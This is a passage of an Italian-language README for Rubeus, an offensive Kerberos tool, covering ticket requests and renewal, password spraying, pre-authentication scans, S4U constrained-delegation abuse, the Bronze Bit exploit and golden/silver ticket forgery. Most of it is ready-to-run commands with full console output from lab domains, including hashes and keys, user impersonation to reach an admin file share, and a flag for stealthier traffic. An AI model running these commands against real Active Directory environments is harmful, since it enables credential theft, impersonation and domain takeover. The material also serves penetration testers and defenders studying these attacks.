CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
Usando PKINIT per richiedere un TGT e poi richiedendo un ticket di servizio user-to-user per ottenere accesso all'hash NTLM memorizzato nel PAC (eseguendo manualmente il flag /getcredentials su asktgt):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
Nota: La /asrepkey ottenuta dal recupero del TGT deve essere passata per decifrare la sezione CredentialData dove è memorizzato l'hash NTLM, ma l'argomento /servicekey non è richiesto qui poiché la chiave di sessione del TGT viene utilizzata perché si tratta di una richiesta user-to-user.
Richiesta di un ticket di servizio utilizzando la sessione di accesso corrente:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
Richiedere il TGT dell'account del computer locale tramite rinnovo. Richiede accesso come amministratore locale. Se è presente la protezione delle credenziali, l'uso del ticket non sarà possibile lontano dall'host.```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
L'azione renew costruirà/analizzerà uno scambio di rinnovo TGT TGS-REQ/TGS-REP utilizzando il valore specificato /ticket:X. Questo valore può essere una codifica base64 di un file .kirbi o il percorso di un file .kirbi sul disco. Se non viene specificato un /dc, viene estratto il controller di dominio corrente del computer e utilizzato come destinazione per il traffico di rinnovo. Il flag /ptt consentirà di "pass-the-ticket" e applicare la credenziale Kerberos risultante alla sessione di logon corrente.
Nota che i TGT DEVONO essere rinnovati prima del loro EndTime, entro la finestra RenewTill.
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
Il flag /autorenew prenderà un file/blob .kirbi /ticket:X esistente, dormirà fino a endTime-30 minuti, rinnoverà automaticamente il ticket e visualizzerà il blob del ticket aggiornato. Continuerà questo processo di rinnovo fino a quando la finestra di rinnovo consentita (renew-till) non sarà trascorsa.
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
L'azione brute eseguirà un attacco di brute force o password spraying basato su Kerberos. spray può anche essere usato come nome dell'azione.
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
L'azione preauthscan invierà AS-REQ per tutti i nomi utente passati nell'argomento /users per scoprire account che non richiedono la pre-autenticazione Kerberos.
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
Analisi dei comandi di delega vincolata:
| Command | Description |
|---|---|
| s4u | Esegue azioni S4U2self e S4U2proxy |
L'azione s4u è quasi identica alla funzionalità tgs::s4u di Kekeo. Se un account utente (o computer) è configurato per la delega vincolata (cioè ha un valore SPN nel campo msds-allowedtodelegateto), questa azione può essere utilizzata per abusare dell'accesso al SPN/server di destinazione. La delega vincolata è complessa. Per maggiori informazioni, consulta questo post o il post "Wagging the Dog" di Elad Shamir.
Una spiegazione TL;DR è che un account con delega vincolata abilitata è autorizzato a richiedere ticket a se stesso come qualsiasi utente, in un processo noto come S4U2self. Affinché un account sia autorizzato a farlo, deve avere TrustedToAuthForDelegation abilitato nella proprietà useraccountcontrol, cosa che solo utenti privilegiati possono modificare per impostazione predefinita. Questo ticket ha il flag FORWARDABLE impostato per impostazione predefinita. Il servizio può quindi utilizzare questo ticket appositamente richiesto per richiedere un ticket di servizio a qualsiasi nome di entità servizio (SPN) specificato nel campo msds-allowedtodelegateto dell'account. In poche parole, se controlli un account con TrustedToAuthForDelegation impostato e un valore in msds-allowedtodelegateto, puoi impersonare qualsiasi utente del dominio per gli SPN impostati nel campo msds-allowedtodelegateto dell'account.
Questo "controllo" può essere l'hash dell'account (/rc4 o /aes256), o un TGT esistente (/ticket:X) per l'account con un valore msds-allowedtodelegateto impostato. Se vengono forniti un /user e un hash rc4/aes256, il modulo s4u esegue prima un'azione asktgt, utilizzando il ticket restituito per i passaggi successivi. Se viene fornito un TGT /ticket:X, viene utilizzato quel TGT.
Se viene fornito un hash dell'account, l'opzione /nopac può essere utilizzata per richiedere il TGT iniziale senza PAC.
È possibile utilizzare un proxy KDC (MS-KKDCP) per effettuare le richieste utilizzando l'argomento /proxyurl:URL. È richiesto l'URL completo del proxy KDC, ad esempio https://kdcproxy.esempio.com/kdcproxy. Quando utilizzato per il comando s4u, tutte le richieste verranno inviate tramite il proxy.
Un parametro /impersonateuser:X DEVE essere fornito al modulo s4u. Se non viene fornito nient'altro, viene eseguito solo il processo S4U2self, restituendo un ticket forwardable:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
Quel ticket forwardable può quindi essere utilizzato come parametro /tgs:Y (blob base64 o file .kirbi) per eseguire il processo S4U2proxy. Deve essere fornito un valore msds-allowedtodelegateto valido per l'account (/msdsspn:X). Supponiamo che l'account [email protected] sia così:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
Quindi la funzione di abuso S4U2proxy (utilizzando il ticket del precedente processo S4U2self) sarebbe:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
Dove /ticket:X è il TGT restituito nel primo passaggio, e /tgs è il ticket S4U2self. Iniettare il ticket risultante (manualmente con Rubeus.exe ptt /ticket:X o fornendo il flag /ptt al comando s4u) ti permetterà di accedere al servizio ldap su primary.testlab.local come se fossi dfm.a.
Il parametro /altservice sfrutta la grande scoperta di Alberto Solino su come il nome del servizio (sname) non sia protetto nel file KRB-CRED, solo il nome del server lo è. Questo ci permette di sostituire qualsiasi nome di servizio desiderato nel file KRB-CRED (.kirbi) risultante. È possibile fornire uno o più nomi di servizio alternativi, separati da virgola (/altservice:cifs,HOST,...).
Espandiamo l'esempio precedente, forgiando l'accesso al filesystem su primary.testlab.local abusando della sua configurazione di delega vincolata e della sostituzione del servizio alternativo. Impacchettiamo tutto in un unico passaggio, eseguendo una richiesta TGT, il processo S4U2self, l'esecuzione S4U2proxy e l'iniezione del ticket finale:
C:\Rubeus>dir \\primary.testlab.local\C$
Access is denied.
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a /msdsspn:"ldap/PRIMARY.testlab.local" /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo..(snip)..
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
[*] Impersonating user 'dfm.a' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
07/05/2018 12:57 PM <DIR> dumps
03/05/2017 04:36 PM <DIR> inetpub
08/22/2013 07:52 AM <DIR> PerfLogs
04/15/2017 05:25 PM <DIR> profiles
08/28/2018 11:51 AM <DIR> Program Files
08/28/2018 11:51 AM <DIR> Program Files (x86)
10/09/2018 12:04 PM <DIR> Temp
08/23/2018 03:52 PM <DIR> Users
10/25/2018 01:15 PM <DIR> Windows
1 File(s) 9 bytes
9 Dir(s) 40,511,676,416 bytes free
Per impostazione predefinita, esistono diverse differenze tra le richieste TGS-REQ S4U2Self e S4U2Proxy generate da Rubeus e le richieste genuine. Per formare le TGS-REQ più in linea con le richieste genuine, è possibile utilizzare il flag /opsec. Poiché questo flag è progettato per rendere il traffico Rubeus più furtivo, non può essere utilizzato per impostazione predefinita con alcun tipo di crittografia diverso da aes256 e genererà semplicemente un avviso e terminerà se viene utilizzato un altro tipo di crittografia. Per consentire l'uso di altri tipi di crittografia con le modifiche /opsec, esiste il flag /force. Il flag /opsec non è ancora stato implementato per S4U tra domini.
L'exploit Bronze Bit (CVE-2020-17049) è implementato utilizzando il flag /bronzebit. Aggiungendo questo flag si capovolgerà automaticamente il flag forwardable durante il recupero del ticket S4U2Self. Poiché capovolgere questo flag richiede la decifratura e la ricifratura del ticket di servizio, è necessaria la chiave a lungo termine (hash della password dell'account di servizio). Per questo motivo, se viene fornito un TGT, sono necessarie anche le credenziali dell'account di servizio per far funzionare questa funzione.
È possibile, in determinate circostanze, utilizzare un ticket S4U2Self per impersonare utenti protetti al fine di escalation dei privilegi sul sistema richiedente, come discusso qui. A questo scopo, il flag /self e l'argomento /altservice:X possono essere utilizzati per generare un ticket di servizio utilizzabile.
Per forgiare un referral S4U2Self, è necessaria solo la chiave di trust. Utilizzando l'argomento /targetdomain:X con il flag /self e senza l'argomento /targetdc, Rubeus tratterà il ticket fornito con /ticket:X come un referral S4U2Self e richiederà solo il ticket di servizio S4U2Self finale. /altservice:X può anche essere utilizzato per riscrivere il sname nel ticket risultante:
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: S4U
[*] Action: S4U
[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):
doIFETCCBQ...RheS5sYWI=
Analisi dei comandi di falsificazione dei ticket:
| Command | Description |
|---|---|
| golden | Falsifica un ticket granting ticket (TGT) |
| silver | Falsifica un ticket di servizio, può anche falsificare TGT |
| diamond | Falsifica un diamond ticket |
Ci sono molte somiglianze tra i comandi golden e silver, il motivo per cui sono separati è semplificare il comando golden. I ticket di servizio possono essere molto più complessi dei TGT, con chiavi diverse e sezioni extra, mentre i TGT possono essere falsificati con il comando silver. golden fornisce meno argomenti potenziali poiché le funzionalità non pertinenti ai TGT non sono presenti.
La maggior parte degli argomenti per entrambi questi comandi servono a impostare i campi PAC e dovrebbero essere ragionevolmente auto-esplicativi. Questi sono:| Argomento | Descrizione |
|----------|-------------|
| /user | Utilizzato come utente per il quale richiedere i dettagli se viene passato /ldap, ma anche per impostare il campo EffectiveName nel PAC e il campo cname in EncTicketPart |
| /dc | Specifica il controller di dominio utilizzato per la query LDAP se viene passato /ldap, ma anche per impostare il campo LogonServer nel PAC |
| /netbios | Imposta il campo LogonDomainName nel PAC |
| /sid | Imposta il campo LogonDomainId nel PAC |
| /id | Imposta il campo nel PAC (Predefinito: 500) |
| | Imposta il campo nel PAC |
| | Imposta il campo nel PAC (Predefinito: 0) |
| | Imposta il campo nel PAC (Predefinito: 0) |
| | Imposta il campo nel PAC (Predefinito: ) |
| | Imposta il campo nel PAC e viene anche aggiunto al campo (Predefinito: 513) |
| | Separato da virgole. Imposta il campo nel PAC, a cui viene aggiunto anche . Il totale viene anche utilizzato per calcolare il campo (Predefinito: 520,512,513,519,518) |
| | Imposta il campo nel PAC |
| | Imposta il campo nel PAC |
| | Imposta il campo nel PAC |
| | Imposta il campo nel PAC |
| | Imposta il campo nel PAC. In formato ora locale - Viene convertito automaticamente in UTC |
| | Imposta il campo nel PAC. In formato ora locale - Viene convertito automaticamente in UTC (Predefinito: - 1 secondo) |
| | Imposta il campo nel PAC. In formato ora locale - Viene convertito automaticamente in UTC |
| | Imposta il campo nel PAC. È relativo a , in numero di giorni, ad esempio '5' per 5 giorni |
| | Imposta il campo nel PAC. È relativo a , in numero di giorni, ad esempio '5' per 5 giorni |
| | Separato da virgole. Imposta il campo nel PAC. Viene anche utilizzato per calcolare il campo |
| | Imposta il campo nel PAC. Se utilizzato, è richiesto anche |
| | Separato da virgole. Imposta il campo nel PAC. Viene anche utilizzato per calcolare il campo . Se utilizzato, è richiesto anche |
Altri argomenti comuni a entrambi i comandi ma per impostare campi al di fuori del PAC sono:
Per i tempi relativi descritti nelle tabelle sopra, il formato è un intero utilizzato come moltiplicatore seguito da un singolo carattere che funge da intervallo di tempo. Il significato di ogni carattere supportato è mostrato nella tabella sottostante (Questi fanno distinzione tra maiuscole e minuscole):
| Carattere | Descrizione |
|---|---|
| m | Minuti |
| h | Ore |
| d | Giorni |
| M | Mesi |
| y | Anni |
L'altra caratteristica comune utilizzata da entrambi i comandi è il recupero delle informazioni tramite LDAP. Sia golden che silver supportano il recupero di informazioni tramite LDAP utilizzando il flag /ldap. Il flag /ldap può essere utilizzato con gli argomenti /creduser e /credpassword per autenticarsi come utente alternativo durante il recupero di queste informazioni. Le informazioni vengono recuperate inviando 3 query LDAP e montando la condivisione SYSVOL di un controller di dominio (per leggere il file dei criteri di dominio) se non vengono passate altre informazioni. Le query LDAP verranno automaticamente inviate tramite TLS e, in caso di fallimento, ricadranno su LDAP in chiaro.
La prima query LDAP, che verrà sempre inviata se viene passato /ldap, interroga l'utente specificato in /user e recupera la maggior parte delle informazioni dell'utente necessarie per il PAC.
La seconda query LDAP verrà inviata se /groups, /pgid, /minpassage O /maxpassage non vengono forniti sulla riga di comando; qualsiasi di questi argomenti forniti sulla riga di comando eviterà di interrogare LDAP per le informazioni. Questa query recupera i gruppi di cui l'utente è membro, incluso il gruppo primario, insieme all'oggetto dei criteri di dominio (utilizzato per ottenere il percorso del file dei criteri). Se /minpassage o /maxpassage non viene fornito sulla riga di comando e l'oggetto dei criteri di dominio viene recuperato da LDAP, viene montata la condivisione SYSVOL di un DC e il file dei criteri viene analizzato per ottenere i valori MinimumPasswordAge (per impostare il valore corretto per il campo PasswordCanChange nel PAC) e MaximumPasswordAge (per impostare il valore corretto per il campo PasswordMustChange nel PAC).
Infine, se l'argomento /netbios non viene fornito sulla riga di comando, viene effettuata una query LDAP per il nome netbios corretto del dominio dal contenitore Configuration per impostare il campo LogonDomainName nel PAC. Se il flag /ldap non viene fornito sulla riga di comando e nemmeno l'argomento /netbios, viene utilizzato il primo elemento (prima del primo punto '.') convertito in maiuscolo.
Il flag /printcmd può essere utilizzato per stampare gli argomenti necessari per generare un altro ticket contenente le stesse informazioni PAC utilizzate per generare il ticket corrente. Questo non stamperà gli argomenti relativi ai tempi di validità del ticket, poiché è probabile che siano diversi per eventuali ticket futuri che si desidera falsificare.
L'azione golden falsificherà un TGT per l'utente /user:X, crittografando il ticket con l'hash passato con /des:X, /rc4:X, /aes128:X o /aes256:X e utilizzando la stessa chiave per creare ServerChecksum e KDCChecksum. I vari argomenti per impostare manualmente i campi sono descritti sopra, oppure è possibile utilizzare il flag /ldap per recuperare automaticamente le informazioni dal controller di dominio.
L'opzione /oldpac può essere utilizzata per escludere i nuovi buffer Requestor e Attributes PAC_INFO_BUFFER, aggiunti in risposta a CVE-2021-42287.
L'opzione /extendedupndns includerà i nuovi elementi UpnDns estesi. Ciò comporta l'aggiunta di _2_ ai Flags, oltre a contenere samaccountname e l'SID dell'account.
Il parametro /rodcNumber:x è stato aggiunto per eseguire Key List Requests Kerberos. Il valore di questo parametro è il numero specificato dopo krbtgt_x nell'attributo msDS-KrbTgtLink del controller di dominio di sola lettura, ad esempio krbtgt_12345 sarebbe 12345. Questa richiesta richiede determinati flag che possono essere impostati utilizzando /flags:forwardable,renewable,enc_pa_rep. La chiave (/des:X, /rc4:X, /aes128:X o /aes256:X) utilizzata per crittografare è la chiave dell'account KRBTGT_x. Ulteriori informazioni sono disponibili nel post del blog di Elad Shamir qui.
Falsificazione di un TGT utilizzando il flag /ldap per recuperare le informazioni e il flag /printcmd per stampare un comando per falsificare un altro ticket con le stesse informazioni PAC:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
